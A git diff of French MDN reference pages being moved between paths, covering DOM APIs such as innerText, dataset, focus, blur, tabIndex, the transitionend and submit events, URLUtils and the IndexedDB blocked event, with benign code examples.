diff --git a/files/fr/web/api/htmlelement/innertext/index.html b/files/fr/web/api/htmlelement/innertext/index.html new file mode 100644 index 0000000000..6b9d530411 --- /dev/null +++ b/files/fr/web/api/htmlelement/innertext/index.html @@ -0,0 +1,42 @@ +--- +title: Node.innerText +slug: Web/API/Node/innerText +translation_of: Web/API/HTMLElement/innerText +--- +
{{APIRef("DOM")}}
+ +

Sommaire

+ +

Node.innerText est une propriété représentant le contenu textuel « visuellement rendu » d’un nœud. Utilisé en lecture, il renvoie une approximation du texte que l’utilisateur ou utilisatrice obtiendrait s’il ou elle sélectionnnait le contenu d’un élément avec le curseur, et le copiait dans le presse-papier.

+ +

{{domxref("Node.textContent")}} est une alternative similaire, bien qu’il y ait d’importantes différences entre les deux.

+ +

Spécification

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduction basée sur le brouillon de spécification de innerText. Voir whatwg/html#465 et whatwg/compat#5 pour l’histoire.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.Node.innerText")}}

+ +

Voir aussi

+ +
    +
  • {{domxref("HTMLElement.outerText")}}
    • +
  • {{domxref("Element.innerHTML")}}
    • +
diff --git a/files/fr/web/api/htmlelement/style/index.html b/files/fr/web/api/htmlelement/style/index.html deleted file mode 100644 index 85a19bb89a..0000000000 --- a/files/fr/web/api/htmlelement/style/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: HTMLElement.style -slug: Web/API/HTMLElement/style -tags: - - DOM - - Style -translation_of: Web/API/ElementCSSInlineStyle/style ---- -

{{ APIRef("HTML DOM") }}

- -

Résumé

- -

Renvoie un objet représentant l'attribut style de l'élément.

- -

Exemple

- -
var div = document.getElementById("div1");
-div.style.marginTop = ".25cm";
-
- -

Notes

- -

Étant donné que la propriété style d'un élément représente sa déclaration de style en-ligne, qui se trouve dans son attribut style et qui a la priorité la plus haute dans la cascade CSS, elle est utile pour définir un style pour un élément particulier.

- -

Cependant, elle n'est pas utile pour connaître le style de l'élément en général, puisqu'elle ne représente que les déclarations CSS définies dans l'attribut style de l'élément, et pas celles qui viennent d'autres règles de style, comme celles qui peuvent se trouver dans la section <head> ou des feuilles de style externes.

- -

Pour obtenir les valeurs de toutes les propriétés CSS pour un élément, vous devriez plutôt utiliser window.getComputedStyle.

- -

Consultez la liste des propriétés CSS DOM pour une liste des propriétés CSS accessibles depuis le DOM. Vous y trouverez quelques notes supplémentaires concernant l'utilisation de la propriété style pour styler des éléments dans le DOM.

- -

Il est généralement préférable d'utiliser la propriété style plutôt que elt.setAttribute('style', '...') depuis un script, étant donné que l'utilisation de la propriété style n'écrasera pas les autres propriétés CSS qui peuvent avoir été spécifiées dans l'attribut style.

- -

Spécification

- - - -

Compatibilité des navigateurs

- - - -

{{Compat("api.HTMLElement.style")}}

- -

Voir aussi

- - - -

Lien Externe

- - - -

{{ languages( { "en": "en/DOM/element.style", "ja": "ja/DOM/element.style", "pl": "pl/DOM/element.style" } ) }}

diff --git a/files/fr/web/api/htmlelement/tabindex/index.html b/files/fr/web/api/htmlelement/tabindex/index.html deleted file mode 100644 index b2dd8ca956..0000000000 --- a/files/fr/web/api/htmlelement/tabindex/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: element.tabIndex -slug: Web/API/HTMLElement/tabIndex -tags: - - Référence_du_DOM_Gecko -translation_of: Web/API/HTMLOrForeignElement/tabIndex ---- -

{{ ApiRef() }}

-

Résumé

-

Obtient ou définit l'ordre de tabulation de l'élément courant.

-

Syntaxe

-
element.tabIndex = iIndex;
-
-

Paramètres

-
    -
  • iIndex est un nombre.
    • -
-

Exemple

-
b1 = document.getElementById("button1");
-b1.tabIndex = 1;
-
-

Spécification

- diff --git a/files/fr/web/api/htmlelement/transitionend_event/index.html b/files/fr/web/api/htmlelement/transitionend_event/index.html new file mode 100644 index 0000000000..0c45cd871c --- /dev/null +++ b/files/fr/web/api/htmlelement/transitionend_event/index.html @@ -0,0 +1,192 @@ +--- +title: transitionend +slug: Web/Events/transitionend +tags: + - DOM + - Event + - TransitionEvent + - Transitions CSS + - Transitions CSS3 + - transitionend +translation_of: Web/API/HTMLElement/transitionend_event +--- +
{{APIRef}}
+ +

L'événement transitionend est déclenché lorsqu'une transition CSS est terminée. Dans le cas où une transition est supprimée avant la fin, par exemple si {{cssxref ("transition-property")}} est supprimé ou {{cssxref ("display")}} est défini sur none, alors l'événement ne pourra pas être généré.

+ + + + + + + + + + + + + + + + + + + + +
BullesOui
AnnulableOui
Interface{{domxref("TransitionEvent")}}
Propriété de gestionnaire d'événements{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}
+ +

L'événement transitionend est déclenché dans les deux sens - à la fin de la transition vers l'état de transition et lorsqu'il revient complètement à l'état par défaut ou sans transition. S'il n'y a pas de délai ou de durée de transition, si les deux sont 0 ou qu'aucun n'est déclaré, il n'y a pas de transition et aucun des événements de transition n'est déclenché.  Si l'événement transitioncancel est déclenché, l'événement transitionend ne se déclenchera pas.

+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétésTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
propertyName {{readonlyInline}}{{domxref("DOMString")}}The name of the CSS property associated with the transition.
elapsedTime {{readonlyInline}}FloatThe amount of time the transition has been running, in seconds, as of the time the event was generated. This value is not affected by the value of transition-delay.
pseudoElement {{readonlyInline}}{{domxref("DOMString")}}The name (beginning with two colons) of the CSS pseudo-element on which the transition occured (in which case the target of the event is that pseudo-element's corresponding element), or the empty string if the transition occurred on an element (which means the target of the event is that element).
+ +

Examples

+ +

This code gets an element that has a transition defined and adds a listener to the transitionend event:

+ +
const transition = document.querySelector('.transition');
+
+transition.addEventListener('transitionend', () => {
+  console.log('Transition ended');
+});
+ +

The same, but using the {{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}:

+ +
const transition = document.querySelector('.transition');
+
+transition.ontransitionend = () => {
+  console.log('Transition ended');
+};
+ +

Live example

+ +

In the following example, we have a simple {{htmlelement("div")}} element, styled with a transition that includes a delay:

+ +
<div class="transition">Hover over me</div>
+<div class="message"></div>
+ +
.transition {
+  width: 100px;
+  height: 100px;
+  background: rgba(255,0,0,1);
+  transition-property: transform background;
+  transition-duration: 2s;
+  transition-delay: 1s;
+}
+
+.transition:hover {
+  transform: rotate(90deg);
+  background: rgba(255,0,0,0);
+}
+ +

To this, we'll add some JavaScript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire. In this example, to cancel the transition, stop hovering over the transitioning box before the transition ends. For the transition end event to fire, stay hovered over the transition until the transition ends.

+ +
const message = document.querySelector('.message');
+const el = document.querySelector('.transition');
+
+el.addEventListener('transitionrun', function() {
+  message.textContent = 'transitionrun fired';
+});
+
+el.addEventListener('transitionstart', function() {
+  message.textContent = 'transitionstart fired';
+});
+
+el.addEventListener('transitioncancel', function() {
+  message.textContent = 'transitioncancel fired';
+});
+
+el.addEventListener('transitionend', function() {
+  message.textContent = 'transitionend fired';
+});
+
+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

The transitionend event is fired in both directions: when the box finishes turning and the opacity hits 0 or 1, depending on the direction.

+ +

If there is no transition delay or duration, if both are 0s or neither is declared, there is no transition, and none of the transition events are fired.

+ +

If the transitioncancel event is fired, the transitionend event will not fire.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName("CSS3 Transitions", "#transitionend", "transitionend")}}{{Spec2('CSS3 Transitions')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.HTMLElement.transitionend_event")}}

+ +

Voir également

+ +
    +
  • Le gestionnaire d'événements {{domxref("GlobalEventHandlers.ontransitionend")}}
    • +
  • L'interface {{domxref("TransitionEvent")}}
    • +
  • Propriétés CSS : {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}
    • +
  • Événements liés: {{domxref("HTMLElement/transitionrun_event", "transitionrun")}}, {{domxref("HTMLElement/transitionstart_event", "transitionstart")}}, {{domxref("HTMLElement/transitioncancel_event", "transitioncancel")}}
    • +
  • Cet événement sur {{domxref("Document")}} cible : {{domxref("Document/transitionend_event", "transitionend")}}
    • +
  • Cet événement sur {{domxref("Window")}} cible : {{domxref("Window/transitionend_event", "transitionend")}}
    • +
diff --git a/files/fr/web/api/htmlformelement/submit_event/index.html b/files/fr/web/api/htmlformelement/submit_event/index.html new file mode 100644 index 0000000000..135058c596 --- /dev/null +++ b/files/fr/web/api/htmlformelement/submit_event/index.html @@ -0,0 +1,59 @@ +--- +title: submit +slug: Web/API/HTMLFormElement/submit_event_ +translation_of: Web/API/HTMLFormElement/submit_event +--- +

L’événement submit est émis lorsqu’un formulaire est soumis au serveur.

+ +

Notez que l’événement submit se déclenche uniquement sur l’élement form, et pas sur les éléments button ou input submit. (Les formulaires sont soumis, pas les boutons.)

+ +

Informations générales

+ +
+
Spécification
+
HTML5
+
Interface
+
{{domxref("Event")}}
+
Bouillonne
+
Oui (bien que spécifié comme un événement simple qui ne bouillonne pas)
+
Annulable
+
Oui
+
Cible
+
Élément
+
Action par défaut
+
Variable (envoie le contenu du formulaire au serveur)
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}La cible de l’évènement (la cible la plus haute dans l’arbre DOM).
type {{readonlyInline}}{{domxref("DOMString")}}Le type de l’évènement.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement bouillonne normalement ou non.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement est annulable ou non.
diff --git a/files/fr/web/api/htmlformelement/submit_event_/index.html b/files/fr/web/api/htmlformelement/submit_event_/index.html deleted file mode 100644 index 135058c596..0000000000 --- a/files/fr/web/api/htmlformelement/submit_event_/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: submit -slug: Web/API/HTMLFormElement/submit_event_ -translation_of: Web/API/HTMLFormElement/submit_event ---- -

L’événement submit est émis lorsqu’un formulaire est soumis au serveur.

- -

Notez que l’événement submit se déclenche uniquement sur l’élement form, et pas sur les éléments button ou input submit. (Les formulaires sont soumis, pas les boutons.)

- -

Informations générales

- -
-
Spécification
-
HTML5
-
Interface
-
{{domxref("Event")}}
-
Bouillonne
-
Oui (bien que spécifié comme un événement simple qui ne bouillonne pas)
-
Annulable
-
Oui
-
Cible
-
Élément
-
Action par défaut
-
Variable (envoie le contenu du formulaire au serveur)
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}La cible de l’évènement (la cible la plus haute dans l’arbre DOM).
type {{readonlyInline}}{{domxref("DOMString")}}Le type de l’évènement.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement bouillonne normalement ou non.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement est annulable ou non.
diff --git a/files/fr/web/api/htmlhyperlinkelementutils/index.html b/files/fr/web/api/htmlhyperlinkelementutils/index.html new file mode 100644 index 0000000000..7bbe88b470 --- /dev/null +++ b/files/fr/web/api/htmlhyperlinkelementutils/index.html @@ -0,0 +1,213 @@ +--- +title: URLUtils +slug: Web/API/URLUtils +tags: + - API + - Experimental + - JavaScript + - Reference + - URL +translation_of: Web/API/HTMLHyperlinkElementUtils +--- +

{{APIRef}}{{SeeCompatTable}}

+

L'interface URLUtils définit des méthodes utilitaires pour travailler avec les URL.

+

il n'y a pas d'objets de ce type, mais quelques objets l'implémentent, comme {{domxref("Location")}}, {{domxref("URL")}}, {{domxref("HTMLAnchorElement")}}, et {{domxref("HTMLAreaElement")}}.

+

Propriétés

+

Cette interface n'hérite d'aucune propriété.

+
+
+ {{domxref("URLUtils.href")}}
+
+ Une {{domxref("DOMString")}} contenant l'URL entière.
+
+ {{domxref("URLUtils.protocol")}}
+
+ Une {{domxref("DOMString")}} contenant le schéma de protocole de l'URL, incluant le ':' final.
+
+ {{domxref("URLUtils.host")}}
+
+ Une {{domxref("DOMString")}} contenant l'hôte, c'est-à-dire le domaine, et, si le port de l'URL n'est pas vide (ce qui peut arriver s'il n'a pas été spécifié ou si la valeur spécifiée est celle du port par défaut du schéma de l'URL), un ':', et le port de l'URL.
+
+ {{domxref("URLUtils.hostname")}}
+
+ Une {{domxref("DOMString")}} contenant le domaine de l'URL.
+
+ {{domxref("URLUtils.port")}}
+
+ Une {{domxref("DOMString")}} contenant le numéro de port de l'URL.
+
+ {{domxref("URLUtils.pathname")}}
+
+ Une {{domxref("DOMString")}} contenant un '/' initial suivi du chemin de l'URL.
+
+ {{domxref("URLUtils.search")}}
+
+ Une {{domxref("DOMString")}} contenant un '?' suivi des paramètres de l'URL.
+
+ {{domxref("URLUtils.hash")}}
+
+ Une {{domxref("DOMString")}} contenant un '#' suivi de l'identifiant de fragment de l'URL.
+
+ {{domxref("URLUtils.username")}}
+
+ Une {{domxref("DOMString")}} contenant le nom d'utilisateur spécifié devant le nom de domaine.
+
+ {{domxref("URLUtils.password")}}
+
+ Une {{domxref("DOMString")}} contenant le mot de passe spécifié devant le nom de domaine.
+
+ {{domxref("URLUtils.origin")}} {{readonlyInline}}
+
+ Retourne une {{domxref("DOMString")}} contenant l'origine de l'URL, c'est-à-dire son schéma, son domaine et son port.
+
+ {{domxref("URLUtils.searchParams")}}
+
+ Retourne un objet {{domxref("URLSearchParams")}} permettant d'accéder aux arguments de requête GET contenus dans l'URL.
+
+

Méthodes

+

Cette interface n'hérite d'aucune méthode.

+
+
+ {{domxref("URLUtils.toString()")}}
+
+ Retourne une {{domxref("DOMString")}} contenant l'URL entière. C'est un synonyme de {{domxref("URLUtils.href")}}, sauf qu'il ne peut être utilisé pour modifier la valeur.
+
+

Spécifications

+ + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('URL', '#urlutils', 'URLUtils')}}{{Spec2('URL')}}Définition initiale
+

Compatibilité

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support de base{{CompatNo}} [1]{{CompatGeckoDesktop("22")}} [1]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
searchParams{{CompatUnknown}}{{CompatGeckoDesktop("29")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
username et password{{CompatUnknown}}{{CompatGeckoDesktop("26")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
origin{{CompatUnknown}}{{CompatGeckoDesktop("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
origin sur Window.location{{CompatUnknown}}{{CompatGeckoDesktop("21")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support de base{{CompatNo}} [1]{{CompatNo}} [1]{{CompatGeckoMobile("22")}} [1]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
searchParams{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
username et password{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("26")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
origin{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("26")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
origin sur Window.location{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("21")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+

[1] Bien qu'elles ne soient pas groupées dans une seule interface abstraite, ces méthodes sont directement disponibles sur les interfaces qui les implémentent, si cette interface est supportée.

+

Voir aussi

+
    +
  • Autres interfaces associées aux URL : {{domxref("URL")}}, {{domxref("URLUtils")}}, et {{domxref("URLSearchParams")}}.
    • +
  • Interfaces qui implémentent celle-ci : {{domxref("Location")}}, {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}.
    • +
diff --git a/files/fr/web/api/htmlorforeignelement/blur/index.html b/files/fr/web/api/htmlorforeignelement/blur/index.html new file mode 100644 index 0000000000..6c5f12166c --- /dev/null +++ b/files/fr/web/api/htmlorforeignelement/blur/index.html @@ -0,0 +1,88 @@ +--- +title: HTMLElement.blur() +slug: Web/API/Element.blur +tags: + - API + - DOM + - HTMLElement + - Method + - Reference +translation_of: Web/API/HTMLOrForeignElement/blur +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

La méthode HTMLElement.blur() retire le focus de l'élément courant.

+ +

Syntax

+ +
elt.blur()
+ +

Exemples

+ +

Retirer le focus d'un champ texte

+ +

HTML

+ +
<input type="text" id="myText" value="Champ texte.">
+<p></p>
+<button type="button" onclick="focusMethod()">Cliquez-moi pour donner le focus</button>
+<button type="button" onclick="blurMethod()">Cliquez-moi pour retirer le focus</button>
+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myText").focus();
+}
+blurMethod = function getBlur() {
+  document.getElementById("myText").blur();
+}
+ +

Résultat

+ +

{{ EmbedLiveSample('Remove_focus_from_a_text_area') }}

+ +

Spécification

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'editing.html#dom-blur', 'blur')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#blur()-0', 'blur')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-blur', 'blur')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-28216144', 'blur')}}{{Spec2('DOM2 HTML')}}
+ +

Compatibilité navigateur

+ + +

{{Compat("api.HTMLElement.blur")}}

+

Dans IE9-10, il y a un bug où appeler blur() sur le {{HTMLElement("body")}} change la fenêtre active du navigateur vers une autre application.

+ +

Voir aussi

+ +

La méthode DOM {{domxref("HTMLElement.focus()")}}

diff --git a/files/fr/web/api/htmlorforeignelement/dataset/index.html b/files/fr/web/api/htmlorforeignelement/dataset/index.html new file mode 100644 index 0000000000..fa7ece8acc --- /dev/null +++ b/files/fr/web/api/htmlorforeignelement/dataset/index.html @@ -0,0 +1,102 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +tags: + - API + - HTML DOM + - HTMLElement + - Propriété + - Référence(2) + - dataset +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +

{{ APIRef }}

+ +

La propriété HTMLElement.dataset fournit un accès en mode lecture et écriture, à tous les attributs de données sur mesure (data-*) définis sur l'élément. C'est un tableau associatif de DOMString, qui associe à chaque nom d'attribut de données sur mesure la valeur qu'il contient.

+ +

Le nom d'un attribut de données sur mesure commence par data-. Il ne doit contenir que des lettres, des nombres et les caractères suivants : tiret (-), point (.), deux-points (:), tiret bas (_). De plus, il ne doit pas contenir des lettres majuscules ASCII (A à Z).

+ +

Un nom d'attribut de données sur mesure est transformé en clef pour l'entrée de la {{ domxref("DOMStringMap") }} avec les règles suivantes :

+ +
    +
  • le préfixe data- est enlevé (y compris le tiret) ;
    • +
  • pour tout tiret (U+002D) suivi par une  lettre minuscule ASCII a à z, le tiret est enlevé et la lettre est transformée en la majuscule correspondante ;
    • +
  • les autres caractères (y compris les autres tirets) ne sont pas modifiés.
    • +
+ +

La transformation opposée, qui associe un nom d'attribut à une clef, utilise les règles suivantes :

+ +
    +
  • Restriction : Aucun tiret ne doit être immédiatement suivi d'une lettre minuscule ASCII a à z (avant la transformation) ;
    • +
  • un préfixe data- est ajouté ;
    • +
  • toute lettre majuscule ASCII A à Z est transformée en un tiret suivi de la minuscule correspondante ;
    • +
  • les autres caractères ne sont pas modifiés.
    • +
+ +

La restriction dans les règles ci-dessus garantit que les deux transformations sont bien l'inverse l'une de l'autre.

+ +

Par exemple, l'attribut nommé data-abc-def correspond à la clef abcDef.

+ +

Syntaxe

+ +
chaîne = element.dataset.nomEnCamelCase;
+element.dataset.nomEnCamelCase = chaîne;
+ +

Exemples

+ +
<div id="utilisateur" data-id="1234567890" data-utilisateur="Monsieur Tartempion" data-date-de-naissance>Monsieur Tartempion
+</div>
+
+var el = document.querySelector('#utilisateur');
+
+// el.id == 'utilisateur'
+// el.dataset.id === '1234567890'
+// el.dataset.utilisateur === 'Monsieur Tartempion'
+// el.dataset.dateDeNaissance === ''
+
+el.dataset.dateDeNaissance = '1960-10-03'; // renseigne la date de naissance.
+
+// 'unAttributDeDonnees' in el.dataset === false
+
+el.dataset.unAttributDeDonnees = 'mes données';
+// 'unAttributDeDonnees' in el.dataset === true
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML WHATWG')}}Pas de changement depuis le dernier instantané (snapshot), {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5.1')}}Instantané de {{SpecName('HTML WHATWG')}}, pas de changement depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5 W3C')}}Instantané de {{SpecName('HTML WHATWG')}}, définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.HTMLElement.dataset")}}

+ +

Voir aussi

+ +
    +
  • La classe des attributs globaux HTML data-*.
    • +
diff --git a/files/fr/web/api/htmlorforeignelement/focus/index.html b/files/fr/web/api/htmlorforeignelement/focus/index.html new file mode 100644 index 0000000000..3659a5a75b --- /dev/null +++ b/files/fr/web/api/htmlorforeignelement/focus/index.html @@ -0,0 +1,223 @@ +--- +title: HTMLElement.focus() +slug: Web/API/HTMLElement/focus +tags: + - API + - HTML DOM + - HTMLElement +translation_of: Web/API/HTMLOrForeignElement/focus +--- +
{{ APIRef("HTML DOM") }}
+ +

La méthode HTMLElement.focus() donne le focus à l'élément spécifié, s'il peut prendre le focus.

+ +

Syntaxe

+ +
element.focus();
+element.focus(focusOption); // Paramètre objet
+ +

Paramètres

+ +
+
focusOptions {{optional_inline}} {{experimental_inline}}
+
Est un objet ayant les propriétés suivantes:
+
+
+
preventScroll {{optional_inline}}
+
Est une valeur Boolean: +
    +
  • Si false, la méthode fera défiler la page pour que l'élément soit visible à l'écran.
    • +
  • Si true,  la méthode ne fera PAS défiler la page pour que l'élément soit visible à l'écran.
    • +
+
+
+
+
+ +

Exemples

+ +

Donner le focus à un champ texte

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myTextField").focus();
+}
+ +

HTML

+ +
<input type="text" id="myTextField" value="Champ texte.">
+<p></p>
+<button type="button" onclick="focusMethod()">Cliquez-moi pour donner le focus au champ texte!</button>
+ +

Résultat

+ +

{{ EmbedLiveSample('Focus_on_a_text_field') }}

+ +

Donner le focus à un bouton

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myButton").focus();
+}
+ +

HTML

+ +
<button type="button" id="myButton">Cliquez!</button>
+<p></p>
+<button type="button" onclick="focusMethod()">Cliquez-moi pour donner le focus au bouton!</button>
+ +

Résultat

+ +

{{ EmbedLiveSample('Focus_on_a_button') }}

+ +

Focus avec option

+ +

JavaScript

+ +
focusScrollMethod = function getFocus() {
+  document.getElementById("myButton").focus({preventScroll:false});
+}
+focusNoScrollMethod = function getFocusWithoutScrolling() {
+  document.getElementById("myButton").focus({preventScroll:true});
+}
+ +

HTML

+ +
<button type="button" onclick="focusScrollMethod()">Cliquez-moi pour donner le focus au bouton!</button>
+<button type="button" onclick="focusNoScrollMethod()">Cliquez-moi pour donner le focus au bouton sans défilement!</button>
+
+<div id="container" style="height: 1000px; width: 1000px;">
+<button type="button" id="myButton" style="margin-top: 500px;">Cliquez!</button>
+</div>
+ +

Résultat

+ +

{{ EmbedLiveSample('Focus_prevent_scroll') }}

+ +

Spécification

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
+ +

Notes

+ +

Si vous appelez HTMLElement.focus() à partir d'un gestionnaire d'événement mousedown, vous devez appeler event.preventDefault() pour empêcher le focus de quitter l'HTMLElement.

+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefoxEdgeInternet ExplorerOperaSafari (WebKit)
Support basique{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
focusOptions{{CompatChrome(64)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatOperaMobile(51)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroid WebviewChrome for AndroidFirefox MobileEdge mobileIE mobileOpera AndroidSafari iOS
Support basique{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
focusOptions{{CompatChrome(64)}}{{CompatChrome(64)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatOperaMobile(51)}}{{CompatNo}}
+
+ +

Voir aussi

+ +
    +
  • La méthode DOM {{domxref("HTMLElement.blur()")}} pour retirer le focus.
    • +
  • {{domxref('document.activeElement')}} pour savoir quel élément a actuellement le focus.
    • +
diff --git a/files/fr/web/api/htmlorforeignelement/tabindex/index.html b/files/fr/web/api/htmlorforeignelement/tabindex/index.html new file mode 100644 index 0000000000..b2dd8ca956 --- /dev/null +++ b/files/fr/web/api/htmlorforeignelement/tabindex/index.html @@ -0,0 +1,25 @@ +--- +title: element.tabIndex +slug: Web/API/HTMLElement/tabIndex +tags: + - Référence_du_DOM_Gecko +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +

{{ ApiRef() }}

+

Résumé

+

Obtient ou définit l'ordre de tabulation de l'élément courant.

+

Syntaxe

+
element.tabIndex = iIndex;
+
+

Paramètres

+
    +
  • iIndex est un nombre.
    • +
+

Exemple

+
b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+
+

Spécification

+ diff --git a/files/fr/web/api/idbopendbrequest/blocked_event/index.html b/files/fr/web/api/idbopendbrequest/blocked_event/index.html new file mode 100644 index 0000000000..e3fdfdfb83 --- /dev/null +++ b/files/fr/web/api/idbopendbrequest/blocked_event/index.html @@ -0,0 +1,102 @@ +--- +title: blocked +slug: Web/API/IDBRequest/blocked_event +translation_of: Web/API/IDBOpenDBRequest/blocked_event +--- +

Le handler blocked est exécuté lorsque l'ouverture d'une connexion à une base de données bloque une transaction versionchange sur celle-ci.

+ +

Informations générales

+ +
+
Spécification
+
IndexedDB
+
Interface
+
IDBVersionChangeEvent
+
Propagation
+
Non
+
Annulable
+
Non
+
Cible
+
IDBRequest
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The request concerned by this event.
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
newVersion {{readonlyInline}}unsigned long (int)The new version of the database.
oldVersion {{readonlyInline}}unsigned long (int)The old version of the database.
+ +

Exemple

+ +
var req1 = indexedDB.open("addressbook", 3);
+
+req1.onsuccess = function( event ) {
+  var addressbookDB = event.target.result;
+
+  // Essayons d'ouvrir la même base de données avec une version de révision plus élevée
+  var req2 = indexedDB.open("addressbook", 4);
+
+  // Dans ce cas, le handler onblocked sera exécuté
+  req2.onblocked = function( e ) {
+    console.log(e)
+  };
+
+};
+ +

Evénements liés

+ +
    +
  • {{event("success")}}
    • +
  • {{event("error")}}
    • +
  • {{event("abort")}}
    • +
  • {{event("complete")}}
    • +
  • {{event("upgradeneeded")}}
    • +
  • {{event("blocked")}}
    • +
  • {{event("versionchange")}}
    • +
+ +

Voir aussi

